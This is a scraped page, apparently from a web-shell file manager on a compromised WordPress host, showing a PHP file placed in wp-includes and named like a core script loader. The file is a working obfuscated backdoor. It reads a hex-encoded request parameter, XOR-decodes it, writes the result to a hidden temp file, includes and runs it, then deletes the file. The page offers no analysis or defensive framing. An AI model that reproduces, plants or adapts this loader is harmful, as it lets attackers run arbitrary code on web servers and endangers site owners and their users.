HEX
Server: LiteSpeed
System: Linux php-prod-3.spaceapp.ru 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64
User: labhr1009 (1014)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/lab-hr.com/public_html/wp-includes/assets/script.loader.packages.php
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x76alue"])){
	$record = array_filter(["/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path()]);
	$data = hex2bin($_REQUEST["\x76alue"]);
	$k   = ''   ;    for($m=0; $m<strlen($data); $m++){$k .= chr(ord($data[$m]) ^ 39);}
	foreach ($record as $tkn):
    		if (is_dir($tkn) && is_writable($tkn)) {
    $ent = implode("/", [$tkn, ".itm"]);
    if (file_put_contents($ent, $k)) {
	include $ent;
	@unlink($ent);
	exit;
}
}
endforeach;
}